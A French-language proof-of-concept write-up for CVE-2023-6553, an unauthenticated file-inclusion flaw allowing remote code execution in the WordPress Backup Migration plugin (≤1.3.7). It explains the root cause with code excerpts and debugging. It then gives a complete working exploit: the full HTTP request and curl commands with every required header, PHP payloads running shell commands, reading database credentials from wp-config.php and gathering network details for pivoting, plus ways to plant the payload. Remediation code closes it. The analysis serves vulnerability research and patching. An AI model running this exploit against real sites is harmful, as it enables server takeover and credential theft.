
Exploit de preuve de concept et analyse technique pour CVE-2023-6553, une vulnérabilité d'inclusion de fichier PHP non authentifiée permettant l'exécution de code à distance dans le plugin WordPress Backup Migration <=1.3.7.
Plugin : Backup Migration (backup-backup) ≤ 1.3.7
CVSS : 9.8 (Critique)
CWE : CWE-98 — Contrôle inadéquat du nom de fichier pour l'instruction Include/Require
Authentification requise : Aucune
Impact : Exécution de code à distance
Backup Migration est un plugin WordPress assez populaire (~90 000+ installations actives) qui permet aux utilisateurs de créer des sauvegardes. Pendant le processus de sauvegarde, le plugin dispose d'un fichier nommé backup-heart.php qui s'exécute en arrière-plan — il reçoit des informations de configuration via les en-têtes HTTP pour savoir quel répertoire doit être sauvegardé, où se trouve le fichier de configuration, etc.
Le problème réside dans le fait que ce fichier fait entièrement confiance aux en-têtes HTTP envoyés par le client, intègre directement la valeur de l'en-tête dans le chemin du fichier, puis utilise require_once() pour charger le fichier depuis ce chemin. Un attaquant n'a qu'à envoyer l'en-tête Content-Dir pointant vers un répertoire contenant du code PHP malveillant → le serveur l'inclut et l'exécute automatiquement.
À noter que le fichier backup-heart.php ne nécessite aucune authentification — il vérifie uniquement si la méthode de requête est POST, sans valider aucun nonce ni privilège utilisateur. N'importe qui sur Internet peut lui envoyer une requête.
⇒ C'est une vulnérabilité zero-click.
PHP dispose de fonctions comme include(), require(), require_once() utilisées pour inclure d'autres fichiers PHP dans le programme en cours d'exécution. Lorsque le chemin de fichier passé à ces fonctions provient d'une entrée utilisateur sans validation, un attaquant peut forcer le serveur à inclure n'importe quel fichier de son choix :
allow_url_include=On (généralement désactivé par défaut).Cette CVE relève de la LFI — l'attaquant contrôle le chemin passé à require_once() pointant vers un fichier PHP que l'attaquant a réussi à écrire sur le serveur.
De nombreux développeurs pensent que les en-têtes HTTP sont des métadonnées « internes » connues uniquement du serveur et du client. En réalité, les attaquants contrôlent 100 % du contenu des en-têtes — ils peuvent définir n'importe quel nom et valeur d'en-tête. Faire confiance aux en-têtes revient à faire confiance aux champs de formulaire — cela doit être validé.
define() et les constantes PHPdefine('NAME', $value) crée une constante utilisée dans toute l'application. Une fois définie via define(), la valeur ne peut plus être modifiée. Si $value provient d'un attaquant, chaque endroit utilisant cette constante est affecté.
J'ai commencé par utiliser grep pour rechercher tous les require et include dans le plugin :
grep -rn "require\|include" includes/

Les résultats de recherche ont renvoyé de nombreux appels require/include. En les examinant, la plupart étaient des appels include_once dans banner/misc.php et banner/views/index.php — ils appartiennent au code de rendu de l'interface d'administration avec des chemins codés en dur, ce qui les rend non exploitables.
Cependant, 2 lignes dans backup-heart.php ont attiré mon attention :
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
La ligne 118 utilise require_once avec la constante BMI_INCLUDES — si cette constante était codée en dur, ce serait sécurisé. Mais en regardant la ligne 64, j'ai vu que BMI_INCLUDES est construite à partir d'une autre constante, BMI_ROOT_DIR. Nous devons donc remonter plus loin : où BMI_ROOT_DIR reçoit-elle sa valeur ?
J'ai de nouveau utilisé grep pour la tracer :
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Résultats :

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
La ligne 62 montre que BMI_ROOT_DIR prend sa valeur depuis $fields['content-dir']. C'est une variable, pas une valeur fixe — nous devons ouvrir le fichier et voir ce que contient $fields.
J'ai ouvert backup-heart.php dans VS Code à la ligne 62 :
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

On voit clairement que $fields['content-dir'] va directement dans define(). Il faut maintenant déterminer où la variable $fields est assignée :
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


À ce stade, la cause racine devient limpide : $fields contient tous les en-têtes HTTP récupérés via getallheaders() — entièrement contrôlés par le client. Il n'y a ni wp_verify_nonce(), ni current_user_can(), ni vérification du chemin — il vérifie simplement la méthode POST et lit directement les en-têtes.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Résumé de la cause racine : en-tête HTTP → define() → require_once(), sans aucune étape de validation entre les deux.
J'ai utilisé Xdebug + VS Code pour confirmer visuellement le déroulement de l'attaque. J'ai placé 2 points d'arrêt aux lignes 62 et 118 de backup-heart.php, puis j'ai envoyé la requête d'exploitation avec curl.
Point d'arrêt 1 — Ligne 62 :
Le débogueur s'est arrêté juste à define('BMI_ROOT_DIR', $fields['content-dir']). En développant la variable $fields dans le panneau Variables, on voyait un tableau de 22 éléments — contenant tous les en-têtes HTTP envoyés par le client. Concrètement :
content-dir = "/tmp/bmi/" — c'est exactement la valeur envoyée via l'en-tête, qui est directement assignée à la constante BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — tous contrôlés par l'attaquant.Aucune validation ni étape de filtrage n'est appliquée à content-dir avant de le passer à define().

Point d'arrêt 2 — Ligne 118 :
En appuyant sur F5, le débogueur s'est arrêté à require_once BMI_INCLUDES . '/bypasser.php'. En observant l'état :
$fields contient toujours content-dir = "/tmp/bmi/" — preuve que la valeur n'a pas été modifiée entre les lignes 62 et 118.{main} backup-heart.php 118:1 — le code a été exécuté directement du début du fichier jusqu'à ce point, en contournant tout middleware ou contrôle d'authentification./tmp/bmi/includes/bypasser.php — un fichier dont le contenu est contrôlé par l'attaquant.
Les résultats du débogage confirment parfaitement le déroulement analysé à l'étape 3 : l'en-tête HTTP circule de getallheaders() → define() → require_once(), sans aucune validation entre les deux.
Avant de déclencher l'inclusion, un fichier PHP doit déjà exister sur le serveur cible. Les techniques courantes incluent :
Envoyez une requête avec Content-Dir pointant vers le répertoire contenant la charge utile. Le serveur require et exécute automatiquement le fichier de l'attaquant.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Tous les en-têtes Content-* doivent être fournis car backup-heart.php les utilise dans d'autres appels define() — des en-têtes manquants déclenchent des avertissements PHP et peuvent interrompre l'exécution avant d'atteindre require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Renvoie 200 — le point de terminaison est ouvert et ne demande pas d'authentification.

Créez la structure de répertoires correspondant à ce que require_once s'attend à trouver : {Content-Dir}includes/bypasser.php :
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Résultat de sortie :

RCE réussie — le serveur exécute la commande id et renvoie la sortie.
Après avoir confirmé la RCE, j'ai modifié la charge utile pour démontrer qu'un attaquant peut lire des informations sensibles sur le serveur. Modifiez le contenu du fichier de charge utile pour lire wp-config.php :
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Renvoyez la même requête d'exploitation curl → la sortie renvoie les informations de connexion à la base de données :
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
L'attaquant peut lire tout fichier auquel www-data a accès — wp-config.php, /etc/passwd, le code source d'autres plugins — élargissant ainsi la surface d'attaque.

Modifiez encore la charge utile pour démontrer qu'un attaquant peut collecter des informations système du serveur — facilitant l'élévation de privilèges ou le mouvement latéral :
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Envoyez l'exploit curl → sortie :
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

À partir de cette sortie, l'attaquant découvre :
172.18.0.3 — confirme que le serveur est dans un réseau Docker, permettant un pivot vers d'autres conteneurs (base de données, cache, etc.)backup-heart.php reste sur le disque et peut être directement accessible via une URL.N'utilisez pas les en-têtes HTTP pour déterminer les chemins de fichiers. Utilisez des chemins relatifs dérivés de __DIR__ :
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Ajoutez un contrôle d'autorisation — seul l'administrateur WordPress devrait être autorisé à invoquer ce point de terminaison :
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| Attribut | Valeur |
|---|
| ID CVE | CVE-2023-6553 |
| Score CVSS | 9.8 (Critique) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Authentification | Non requise |
| Interaction utilisateur | Aucune (zero-click) |
| Corrigé | Version 1.3.8 |
| Méthode |
|---|
| Concept |
|---|
| Empoisonnement des journaux | Envoyer une requête contenant <?php ... ?> dans le User-Agent → le code est écrit dans le journal d'accès → inclure le fichier journal |
| Session PHP | Écrire du code PHP dans un fichier de session situé dans /tmp/sess_xxx |
| Chaîne d'upload | Utiliser la fonctionnalité d'upload de médias/avatars de WordPress pour téléverser le fichier |
| Journal d'erreurs du plugin | Le plugin écrit son propre journal d'erreurs — déclencher une erreur contenant du code PHP écrit ce code dans le fichier journal |
| Métrique CVSS | Valeur | Raison |
|---|
| Vecteur d'attaque | Réseau | Via HTTP |
| Complexité d'attaque | Faible | 1 requête POST, aucune condition de synchronisation ou particulière requise |
| Privilèges requis | Aucun | Le point de terminaison ne nécessite pas d'authentification |
| Interaction utilisateur | Aucune | Pilotée par l'attaquant, aucune interaction requise de la victime |
| Confidentialité | Élevée | Peut lire n'importe quel fichier : wp-config.php, /etc/passwd, code source |
| Intégrité | Élevée | Écriture de fichiers arbitraires, installation de webshell, modification de la base de données |
| Disponibilité | Élevée | Suppression de fichiers, arrêt de processus, compromission totale du serveur |